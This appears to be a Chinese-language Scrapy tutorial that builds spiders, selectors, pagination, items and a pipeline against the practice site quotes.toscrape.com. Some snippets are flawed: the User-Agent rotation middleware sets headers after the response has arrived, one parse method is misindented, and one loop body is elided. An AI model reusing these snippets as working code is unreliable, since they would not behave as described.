    startproject Create new project
    version Print Scrapy version
    view Open URL in browser, as seen by Scrapy

mkdir scrapy_dir
cd scrapy_dir
scrapy startproject Cici

import scrapy

class CiciSpider(scrapy.Spider):
    name = "Cici"

    def start_requests(self):
        urls = [
            'https://quotes.toscrape.com/page/1/',
            'https://quotes.toscrape.com/page/2/',
        ]
        for url in urls:
            yield scrapy.Request(url=url, callback=self.parse)

    def parse(self, response):
        page = response.url.split("/")[-2]
        filename = f'quotes-{page}.html'
        with open(filename, 'wb') as f:
            f.write(response.body)
        self.log(f'Saved file {filename}')

import scrapy

class CiciSpider(scrapy.Spider):
    name = "Cici"
    start_urls = [
        'https://quotes.toscrape.com/page/1/',
        'https://quotes.toscrape.com/page/2/',
    ]
    def parse(self, response):
        page = response.url.split("/")[-2]
        filename = f'quotes-{page}.html'
        with open(filename, 'wb') as f:
            f.write(response.body)
        self.log(f'Saved file {filename}')

scrapy crawl Cici

scrapy shell "https://quotes.toscrape.com/page/1/"

>>> response.css('title') # 返回一个 Selector 对象
[<Selector xpath='descendant-or-self::title' data='<title>Quotes to Scrape</title>'>]

# 获取title的内容
>>> response.css('title::text').getall()
['Quotes to Scrape']

# 不指定 ::text 会获取整个标签
>>>response.css('title').getall()
['<title>Quotes to Scrape</title>']

# 使用正则表达式匹配
>>> response.css('title::text').re(r'Quotes.*')
['Quotes to Scrape']

>>> response.css('title::text').re(r'Q\w+')
['Quotes']
>>> response.css('title::text').re(r'(\w+) to (\w+)')
['Quotes', 'Scrape']

>>> response.xpath('//title')
[<Selector xpath='//title' data='<title>Quotes to Scrape</title>'>]

>>> response.xpath('//title/text()').get()
'Quotes to Scrape'

<div class="quote">
  <span class="text">“The world as we have created it is a process of our
    thinking. It cannot be changed without changing our thinking.”</span>
  <span>
    by <small class="author">Albert Einstein</small>
    <a href="/author/Albert-Einstein">(about)</a>
  </span>
  <div class="tags">
    Tags:
    <a class="tag" href="/tag/change/page/1/">change</a>
    <a class="tag" href="/tag/deep-thoughts/page/1/">deep-thoughts</a>
    <a class="tag" href="/tag/thinking/page/1/">thinking</a>
    <a class="tag" href="/tag/world/page/1/">world</a>
  </div>
</div>

>>> quote = response.css("div.quote")[0]
>>> text = quote.css("span.text::text").get()
>>> text
'“The world as we have created it is a process of our thinking. It cannot be changed
without changing our thinking.”'

# 获取div标签class为tag中a标签class为tag的text
>>> tags = quote.css("div.tags a.tag::text").getall()
>>> tags
['change', 'deep-thoughts', 'thinking', 'world']

# 获取 a 标签的 href 属性值
>>> quote.css("div.tags a::attr(href)").getall()
['/tag/change/page/1/', '/tag/deep-thoughts/page/1/', '/tag/thinking/page/1/','/tag/world/page/1/']

import scrapy

class CiciSpider(scrapy.Spider):
    name = "Cici2"

    def start_requests(self):
        urls = [
            'https://quotes.toscrape.com/page/1/',
            'https://quotes.toscrape.com/page/2/',
        ]
        for url in urls:
            yield scrapy.Request(url=url, callback=self.parse)

    def parse(self, response):
        for quote in response.css('div.quote'):
            yield {
                'text': quote.css('span.text::text').get(),
                'author': quote.css('small.author::text').get(),
                'tags': quote.css('div.tags a.tag::text').getall(),
            }

<ul class="pager">
  <li class="next">
    <a href="/page/2/">Next <span aria-hidden="true">&rarr;</span></a>
  </li>
</ul>

>>> response.css('li.next a::attr(href)').get()
'/page/2/'

import scrapy

class CiciSpider(scrapy.Spider):
    name = "CiciSecond"
    start_urls = [
        'https://quotes.toscrape.com/page/1/',
    ]
    def parse(self, response):
        for quote in response.css('div.quote'):
            yield {
                'text': quote.css('span.text::text').get(),
                'author': quote.css('small.author::text').get(),
                'tags': quote.css('div.tags a.tag::text').getall(),
            }
        # 获取下一页链接
        next_page = response.css('li.next a::attr(href)').get()
        # 判断链接不是空
        if next_page is not None:
            # 接收下一页返回内容
            next_page = response.urljoin(next_page)
            # 继续调用 Scrapy 请求，并回调 parse 函数
            yield scrapy.Request(next_page, callback=self.parse)

import scrapy

class CiciSpider(scrapy.Spider):
    name = "CiciSecond"
    start_urls = [
        'https://quotes.toscrape.com/page/1/',
    ]
    def parse(self, response):
        for quote in response.css('div.quote'):
            yield {
                'text': quote.css('span.text::text').get(),
                'author': quote.css('small.author::text').get(),
                'tags': quote.css('div.tags a.tag::text').getall(),
            }
            # ========================================================================
        next_page = response.css('li.next a::attr(href)').get()
        if next_page is not None:
            # 直接使用 response.follow 即可
            yield response.follow(next_page, callback=self.parse)

        # 当需要获取 a 标签的 href 属性时，支持自动获取
        # ========================================================================
        for a in response.css('ul.pager a'):
            yield response.follow(a, callback=self.parse)

        # 进一步缩短, 使用 follow_all 方法
        # ========================================================================
        yield from response.follow_all(css='ul.pager a', callback=self.parse)

scrapy crawl CiciSecond2 -O quotes-humor.json -a tag=humor

import scrapy

class CiciSpider(scrapy.Spider):
    name = "CiciSecond2"
    def start_requests(self):
        url = 'https://quotes.toscrape.com/'
        tag = getattr(self, 'tag', None)
        if tag is not None:
            url = url + 'tag/' + tag
        yield scrapy.Request(url, self.parse)

def parse(self, response):
    for quote in response.css('div.quote'):
        yield {
            'text': quote.css('span.text::text').get(),
            'author': quote.css('small.author::text').get(),
        }

    next_page = response.css('li.next a::attr(href)').get()
    if next_page is not None:
        yield response.follow(next_page, self.parse)

# Define here the models for your scraped items
#
# See documentation in:
# https://docs.scrapy.org/en/latest/topics/items.html
import scrapy
class CiciScrapyDemoItem(scrapy.Item):
    # 设置字段
    text = scrapy.Field()
    author = scrapy.Field()
    tags = scrapy.Field()
    last_updated = scrapy.Field(serializer=str)

import scrapy
from Cici_scrapy_demo.items import CiciScrapyDemoItem

class CiciSpider(scrapy.Spider):
    name = "CicItemTest"
    start_urls = [
        'https://quotes.toscrape.com/page/1/',
    ]
    def parse(self, response):
        for quote in response.css('div.quote'):
            item = CiciScrapyDemoItem()
            item['text'] = quote.css('span.text::text').get()
            item['author'] = quote.css('small.author::text').get()
            item['tags'] = quote.css('div.tags a.tag::text').getall()
            yield item

import json

# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html

# useful for handling different item types with a single interface
from itemadapter import ItemAdapter

class CiciScrapyDemoPipeline:
    # 爬虫开启时自动调用此方法
    def open_spider(self, spider):
        self.file = open('items.jl', 'w')

    # 爬虫关闭时自动调用此方法
    def close_spider(self, spider):
        self.file.close()
    def process_item(self, item, spider):
        line = json.dumps(ItemAdapter(item).asdict()) + "\n"
        self.file.write(line)
        return item

ITEM_PIPELINES = {
    # pipelines 中类的名称，可以加入多个
    'Cici_scrapy_demo.pipelines.CiciScrapyDemoPipeline': 300,
}

import random

# 自动替换UA
class UAMiddleware(object):
    def __init__(self):
        self.USER_AGENT_LIST = [
            "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
            "Dalvik/1.6.0 (Linux; U; Android 4.2.1; 2013022 MIUI/JHACNBL30.0)",
            "Mozilla/5.0 (Linux; U; Android 4.4.2; zh-cn; HUAWEI MT7-TL00 Build/HuaweiMT7-TL00) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
            "AndroidDownloadManager",
            "Apache-HttpClient/UNAVAILABLE (java 1.4)",
            "Dalvik/1.6.0 (Linux; U; Android 4.3; SM-N7508V Build/JLS36C)",
            "Android50-AndroidPhone-8000-76-0-Statistics-wifi",
            "Dalvik/1.6.0 (Linux; U; Android 4.4.4; MI 3 MIUI/V7.2.1.0.KXCCNDA)",
            "Dalvik/1.6.0 (Linux; U; Android 4.4.2; Lenovo A3800-d Build/LenovoA3800-d)",
            "Lite 1.0 ( http://litesuits.com )",
            "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727)",
            "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0",
            "Mozilla/5.0 (Linux; U; Android 4.1.1; zh-cn; HTC T528t Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30; 360browser(securitypay,securityinstalled); 360(android,uppayplugin); 360 Aphone Browser (2.0.4)",
        ]

    # 使用 process_spider_input 方法
    def process_spider_input(self, response, spider):
        ua = random.choice(self.USER_AGENT_LIST)
        response.request.headers['User-Agent'] = ua
        return None

SPIDER_MIDDLEWARES = {
    'Cici_scrapy_demo.middlewares.UAMiddleware': 544,
}

import scrapy
from Cici_scrapy_demo.items import CiciScrapyDemoItem

class CiciSpider(scrapy.Spider):
    name = "CicItemTest"
    start_urls = [
        'https://quotes.toscrape.com/page/1/',
    ]
    def parse(self, response):
        for quote in response.css('div.quote'):
            ..............
            print(response.request.headers['User-Agent'])
            yield item